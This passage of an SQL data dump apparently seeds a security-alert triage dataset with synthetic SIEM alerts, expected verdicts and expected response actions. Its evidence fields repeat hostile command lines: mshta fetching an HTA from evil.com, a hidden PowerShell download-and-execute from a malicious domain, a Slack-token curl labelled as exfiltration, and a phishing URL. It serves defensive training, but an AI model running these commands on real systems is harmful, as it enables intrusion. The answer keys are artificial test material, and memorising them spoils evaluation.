'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.195Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:15:30Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.30.15\\\",\\\"dst_ip\\\":\\\"203.0.113.100\\\",\\\"username\\\":\\\"mark\\\",\\\"hostname\\\":\\\"workstation-10\\\",\\\"command_line\\\":\\\"mshta.exe http://evil.com/malicious.hta\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1754, 'Suspicious PowerShell Activity with Encoded Commands', 'medium', 'ThreatConnect', 'Detected PowerShell execution with encoded commands indicative of possible obfuscation, but analysis shows benign activity.', 'Malware', 'T1059', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T13:42:17Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.50.30\",\"dst_ip\":\"N/A\",\"username\":\"admin\",\"hostname\":\"server-12\",\"command_line\":\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"command\",\"value\":\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"clean\",\"details\":\"Encoded PowerShell command decoded to benign administrative script\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The encoded PowerShell command was found to be a legitimate administrative script.\"}', 'Advanced', 'TI', 7, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.207Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T13:42:17Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.50.30\\\",\\\"dst_ip\\\":\\\"N/A\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"server-12\\\",\\\"command_line\\\":\\\"powershell.exe -enc SQBTAFQAZwBlAHQALQBXAEkAbgBkAG8AdwAgAEEAZABkAGkAdABpAG8AbgBhAGwAIAAtAFQAbwBkAGEAeQApAA==\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1755, 'False Positive: Network Scanner Misidentified as Brute Force', 'medium', 'Anomali', 'A network scanner was flagged as a brute force attack due to repetitive login attempts, but was later identified as a legitimate security scan.', 'Credential Attack', 'T1110', 0, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.100.50\",\"dst_ip\":\"192.168.100.10\",\"username\":\"scanner\",\"hostname\":\"scanner-host\",\"request_body\":\"Failed_login_attempts: 25\"}', '2026-03-15 19:53:09', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.100.50\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal network scanner performing authorized security assessment\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The activity was part of a scheduled security scan, mistaken for a brute force attack.\"}', 'Advanced', 'TI', 7, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.217Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T14:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.100.50\\\",\\\"dst_ip\\\":\\\"192.168.100.10\\\",\\\"username\\\":\\\"scanner\\\",\\\"hostname\\\":\\\"scanner-host\\\",\\\"request_body\\\":\\\"Failed_login_attempts: 25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1756, 'APT29 C2 Communication Detected via Slack', 'critical', 'Recorded Future', 'Detected communication with a known APT29 Command and Control server through Slack, indicating potential data exfiltration.', 'Data Exfil', 'T1102', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T03:45:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"104.16.59.37\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAPTOP-01\",\"command_line\":\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"104.16.59.37\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple APT29 C2 activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP of the compromised machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual Slack API usage detected\"}}],\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The use of Slack as a C2 channel indicates advanced evasion techniques by APT29.\"}', 'Expert', 'TI', 9, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.227Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T03:45:00Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.1.10\\\",\\\"dst_ip\\\":\\\"104.16.59.37\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"command_line\\\":\\\"curl -H \'Authorization: Bearer xoxb-1234567890-0987654321-abcdef\' https://slack.com/api/chat.postMessage\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1757, 'Fileless Malware Execution via PowerShell', 'high', 'Anomali', 'Detected fileless malware execution using PowerShell on a critical server, indicative of APT41 activity.', 'Malware', 'T1086', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T07:22:13Z\",\"event_type\":\"process_execution\",\"src_ip\":\"192.168.2.25\",\"dst_ip\":\"\",\"username\":\"svc_backup\",\"hostname\":\"SERVER-DB01\",\"command_line\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal server IP\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected as a common pattern for fileless malware attacks\"}},{\"id\":\"artifact_3\",\"type\":\"domain\",\"value\":\"malicious.domain\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Domain flagged for hosting malware payloads\"}}],\"expected_actions\":[\"isolate_host\",\"block_hash\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"APT41\'s use of fileless malware via PowerShell indicates sophisticated attack methods targeting critical infrastructure.\"}', 'Expert', 'TI', 9, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch.\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.229Z\",\"source\":\"/var/ossec/logs/alerts/alerts.json\",\"event_code\":\"Rule: 1002\",\"message\":\"File integrity changed for /etc/passwd. Checksum mismatch. [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T07:22:13Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"192.168.2.25\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"svc_backup\\\",\\\"hostname\\\":\\\"SERVER-DB01\\\",\\\"command_line\\\":\\\"powershell -nop -w hidden -c IEX (New-Object Net.WebClient).DownloadString(\'http://malicious.domain/payload\')\\\"}\"}],\"query\":\"index=main source=\\\"/var/ossec/logs/alerts/alerts.json\\\" | head 100\"}}', 0),
(1758, 'Lazarus Group Spear-Phishing Attempt', 'critical', 'ThreatConnect', 'Received a spear-phishing email with a malicious URL, attributed to Lazarus Group, targeting executive staff.', 'Phishing', 'T1566.001', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T09:11:45Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.15\",\"username\":\"ceo@company.com\",\"hostname\":\"CEO-LAPTOP\",\"email_sender\":\"john.doe@trusted-partner.com\",\"request_body\":\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\"}', '2026-03-15 19:55:05', '2026-03-15 20:58:16', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"IP linked to previous phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://malicious-url.com/important.doc\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL associated with malware distribution\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"john.doe@trusted-partner.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Sender email used in spear-phishing attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The use of a trusted partner\'s domain as a spoofed sender exemplifies Lazarus Group\'s sophisticated phishing techniques.\"}', 'Expert', 'TI', 9, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:16.230Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T09:11:45Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.23\\\",\\\"dst_ip\\\":\\\"192.168.1.15\\\",\\\"username\\\":\\\"ceo@company.com\\\",\\\"hostname\\\":\\\"CEO-LAPTOP\\\",\\\"email_sender\\\":\\\"john.doe@trusted-partner.com\\\",\\\"request_body\\\":\\\"Dear CEO, please review the attached document: http://malicious-url.com/important.doc\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);

